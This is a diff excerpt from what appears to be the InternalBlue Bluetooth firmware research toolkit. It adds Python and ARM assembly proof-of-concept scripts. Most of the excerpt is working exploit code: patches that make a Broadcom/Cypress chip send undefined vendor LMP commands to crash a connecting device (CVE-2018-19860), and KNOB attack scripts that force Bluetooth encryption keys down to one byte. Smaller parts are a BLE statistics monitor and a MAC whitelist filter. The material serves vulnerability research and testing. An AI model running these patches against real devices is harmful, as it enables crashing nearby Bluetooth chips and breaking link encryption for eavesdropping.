push {r5-r6, lr} // backup registers
|
||||
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
|
||||
mov r6, r0 // backup connection struct
|
||||
|
||||
loop:
|
||||
mov r0, r6 // restore connection struct
|
||||
bl send_lmp
|
||||
|
||||
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
|
||||
cmp r5, 0x%02x00 // loop exit condition
|
||||
bne loop
|
||||
|
||||
|
||||
// proceed as in original function lm_SendLmpHostConnectionReq
|
||||
mov r0, r6 // restore connection struct
|
||||
mov r5, 0x00000066 // LMP_host_connection_req << 1
|
||||
bl send_lmp
|
||||
pop {r5-r6, lr} // restore registers
|
||||
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
|
||||
|
||||
|
||||
|
||||
//pass connection struct in r0 and lmp data in r5
|
||||
send_lmp:
|
||||
push {r4-r5,lr}
|
||||
|
||||
mov r4, r0 // store connection struct copy to r4
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x8691E // lm_allocLmpBlock
|
||||
|
||||
// fill buffer
|
||||
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
//// add some more bytes if needed
|
||||
//mov r1, 0x4242
|
||||
//str r1, [r0, 0xe]
|
||||
|
||||
mov r1, r0 // move lmp packet buffer into r1
|
||||
mov r0, r4 // restore connection struct
|
||||
|
||||
pop {r4-r5,lr} // restore r4 and the lr
|
||||
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
|
||||
|
||||
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
|
||||
|
||||
"""
|
||||
When sending LMP commands, lookup tables are used to determine length and other
|
||||
function parameters. However, as we use undefined commands, some of them seem
|
||||
never to be sent. The table lookup simply is nonsense here... so we patch around
|
||||
this.
|
||||
"""
|
||||
|
||||
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
|
||||
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
|
||||
ASM_SNIPPET_LMP_00_LOOKUP = """
|
||||
|
||||
ldr r0, =table
|
||||
bx lr
|
||||
|
||||
// dummy table entry
|
||||
.align
|
||||
table:
|
||||
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
|
||||
.byte 0x04
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x10 // length
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x01
|
||||
|
||||
"""
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
|
||||
# they don't know about Cypress yet...
|
||||
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
|
||||
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
log.info("Installing LMP BPSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
Executable
+94
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
|
||||
internalblue.patchRom(Address(0x7402A), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Nexus 5 for BLE connection events
|
||||
|
||||
from builtins import range
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
|
||||
internalblue = ADBCore(serial=False)
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
|
||||
"""
|
||||
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
|
||||
# they never planned to support BLE. Even callbacks are defined in Patchram.
|
||||
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
|
||||
"""
|
||||
RX_DONE_HOOK_ADDRESS = 0x224DEA
|
||||
HOOKS_LOCATION = 0xd7500
|
||||
ASM_HOOKS = """
|
||||
|
||||
// restore first 4 bytes of _connTaskRxDone
|
||||
push {r4-r8,lr}
|
||||
mov r4, r0
|
||||
|
||||
// fix registers for our own routine
|
||||
push {r1-r7, lr}
|
||||
mov r7, r0
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RXDN"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x4e445852 // RXDN
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// copy 239 bytes of le_conn to buffer
|
||||
mov r2, #238
|
||||
mov r1, r7 // le_conn[0]
|
||||
//add r1, 0x100 //TODO use this to access the connection struct with different offset
|
||||
bl 0x46FE6 // __rt_memcpy
|
||||
|
||||
// for debugging purposes, we overwrite the first byte
|
||||
// (which is the connTaskCallback anyway) with RSSI info
|
||||
mov r2, #1 // 1 rssi byte
|
||||
add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5
|
||||
mov r0, r4
|
||||
add r0, 6
|
||||
bl 0x46FE6 // __rt_memcpy
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // osapi_blockPoolFree
|
||||
|
||||
// undo registers for our own routine
|
||||
mov r0, r7
|
||||
pop {r1-r7, lr}
|
||||
|
||||
// branch back to _connTaskRxDone + 4
|
||||
b 0x%x
|
||||
|
||||
""" % (RX_DONE_HOOK_ADDRESS+4)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# RXDN statistics callback variables
|
||||
internalblue.last_nesn_sn = None
|
||||
internalblue.last_success_event = None
|
||||
|
||||
|
||||
def lereceiveStatusCallback(record):
|
||||
"""
|
||||
RXDN Callback Function
|
||||
|
||||
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
|
||||
which patches the _connTaskRxDone() function and copies
|
||||
info from the LE connection struct to HCI.
|
||||
"""
|
||||
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == b'RXDN':
|
||||
data = hcipkt.data[4:]
|
||||
|
||||
# Raspi 3 gets errors
|
||||
if len(data) < 239:
|
||||
return
|
||||
|
||||
# !!! Nexus 5 has really outdated struct...
|
||||
packet_curr_nesn_sn = data[0xa0]
|
||||
packet_channel_map = data[0x4c:0x4c+38]
|
||||
packet_channel = data[0x7b]
|
||||
packet_event_ctr = u16(data[0x86:0x88])
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
|
||||
# currently only supported by eval board: check if we also went into the process payload routine,
|
||||
# which probably corresponds to a correct CRC
|
||||
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
|
||||
# log.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
|
||||
# TODO example for setting the channel map
|
||||
# timeout needs to be zero, because we are already in an event reception routine!
|
||||
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
|
||||
|
||||
internalblue.last_nesn_sn = packet_curr_nesn_sn
|
||||
|
||||
# draw channel with rssi color
|
||||
color = '\033[92m' # green
|
||||
if 0xc8 > packet_rssi >= 0xc0:
|
||||
color = '\033[93m' # yellow
|
||||
elif packet_rssi < 0xc0:
|
||||
color = '\033[91m' # red
|
||||
|
||||
channels_total = packet_channel_map[37]
|
||||
channel_map = 0x0000000000
|
||||
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("Entering InternalBlue CLI to display statistics.")
|
||||
|
||||
# add RXDN callback
|
||||
internalblue.registerHciCallback(lereceiveStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
+160
@@ -0,0 +1,160 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
to any device. If the target device Bluetooth chip crashes upon connection,
|
||||
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
|
||||
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
|
||||
|
||||
This snippet modifies connection establishment. To be still compatible with
|
||||
scanning for devices, feature_req and name_req should not be modified.
|
||||
We modify send_LMP_host_connection_req_586E6, which is only triggered when
|
||||
clicking on another device to establish a connection. Then we launch the attack
|
||||
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
|
||||
|
||||
TODO
|
||||
After ~24 commands, this cannot be repeated any more. Tapping again too early
|
||||
crashes the driver. Long waiting loops don't help. A good workaround is to
|
||||
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
|
||||
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
|
||||
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
|
||||
will be replied with LMP_not_accepted).
|
||||
|
||||
"""
|
||||
HOOK_VSC_EXISTS = 0x586E6 # This function is in ROM
|
||||
ASM_LOCATION_VSC_EXISTS = 0x00211900 # 0xD5900
|
||||
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 #FIXME change range for LMP crash in case it didn't crash here
|
||||
LMP_VSC_CMD_END = 0x06
|
||||
ASM_SNIPPET_VSC_EXISTS = """
|
||||
b vsc_iterate
|
||||
b send_lmp
|
||||
|
||||
vsc_iterate:
|
||||
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
|
||||
mov r6, r0 // backup connection struct
|
||||
|
||||
loop:
|
||||
mov r0, r6 // restore connection struct
|
||||
bl send_lmp
|
||||
|
||||
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
|
||||
cmp r5, 0x%02x00 // loop exit condition
|
||||
bne loop
|
||||
|
||||
|
||||
//proceed as in original function send_LMP_host_connection_req_586E6
|
||||
mov r0, r6 // restore connection struct
|
||||
mov r5, 0x00000066 // LMP_host_connection_req << 1
|
||||
bl send_lmp
|
||||
b 0x58760 // address from where send_LMP_host_connection_req_586E6 was called
|
||||
|
||||
|
||||
|
||||
//pass connection struct in r0 and lmp data in r5
|
||||
send_lmp:
|
||||
push {r4-r5,lr}
|
||||
|
||||
mov r4, r0 // store connection struct copy to r4
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
|
||||
|
||||
// fill buffer
|
||||
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
//// add some more bytes if needed
|
||||
mov r1, 0x4242
|
||||
str r1, [r0, 0xe]
|
||||
|
||||
mov r1, r0 // move lmp packet buffer into r1
|
||||
mov r0, r4 // restore connection struct
|
||||
|
||||
pop {r4-r5,lr} // restore r4 and the lr
|
||||
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
|
||||
|
||||
"""
|
||||
When sending LMP commands, lookup tables are used to determine length and other
|
||||
function parameters. However, as we use undefined commands, some of them seem
|
||||
never to be sent. The table lookup simply is nonsense here... so we patch around
|
||||
this.
|
||||
"""
|
||||
|
||||
ASM_LOCATION_LMP_00_LOOKUP = 0x00211800 # 0xD5700
|
||||
HOOK_LMP_00_LOOKUP = 0x2008B4 # This function already provides a hook for the LMP handlers
|
||||
ASM_SNIPPET_LMP_00_LOOKUP = """
|
||||
|
||||
ldr r0, =table
|
||||
bx lr
|
||||
|
||||
|
||||
//dummy table entry
|
||||
.align
|
||||
table:
|
||||
.byte 0x35 //nullsub1+1
|
||||
.byte 0xAC
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x10 //length
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
#log.info("Installing LMP VSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("Installing patch for VSC existence check failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
+5
-6
@@ -1,10 +1,9 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
# Dennis Mantz
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
#internalblue = core.InternalBlue()
|
||||
|
||||
internalblue = ADBCore()
|
||||
@@ -15,9 +14,9 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
PK_RECV_HOOK_ADDRESS = 0x2FED8
|
||||
PK_SEND_HOOK_ADDRESS = 0x030098
|
||||
GEN_PRIV_KEY_ADDRESS = 0x48eba
|
||||
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
|
||||
PK_SEND_HOOK_ADDRESS = Address(0x030098)
|
||||
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
|
||||
HOOKS_LOCATION = 0xd7800
|
||||
ASM_HOOKS = """
|
||||
b pk_recv_hook
|
||||
Executable
+98
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Nexus 5.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
|
||||
internalblue.patchRom(Address(0x5AED0), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x203797, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
@@ -1,10 +1,10 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from binascii import unhexlify
|
||||
"""
|
||||
Filter connections by MAC address before entering LMP dispatcher.
|
||||
Enter MAC addresses you trust into whitelist.
|
||||
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
|
||||
"""
|
||||
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
|
||||
|
||||
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
|
||||
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
|
||||
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
|
||||
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
|
||||
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
|
||||
ASM_SNIPPET_LMP_FILTER = """
|
||||
b lmp_dispatcher_filter
|
||||
@@ -89,7 +89,7 @@ lmp_dispatcher_filter:
|
||||
//mac address list
|
||||
%s
|
||||
|
||||
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % ord(x) for x in WHITELIST_BYTES]))
|
||||
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x for x in WHITELIST_BYTES]))
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
@@ -1,12 +1,12 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -40,7 +40,7 @@ TODO
|
||||
"""
|
||||
|
||||
|
||||
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
|
||||
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
|
||||
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
|
||||
ASM_SNIPPET_IO_CAP_RESP = """
|
||||
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
|
||||
Executable
+100
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Nexus 6P.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
|
||||
#internalblue.patchRom(0x4BC6E, patch)
|
||||
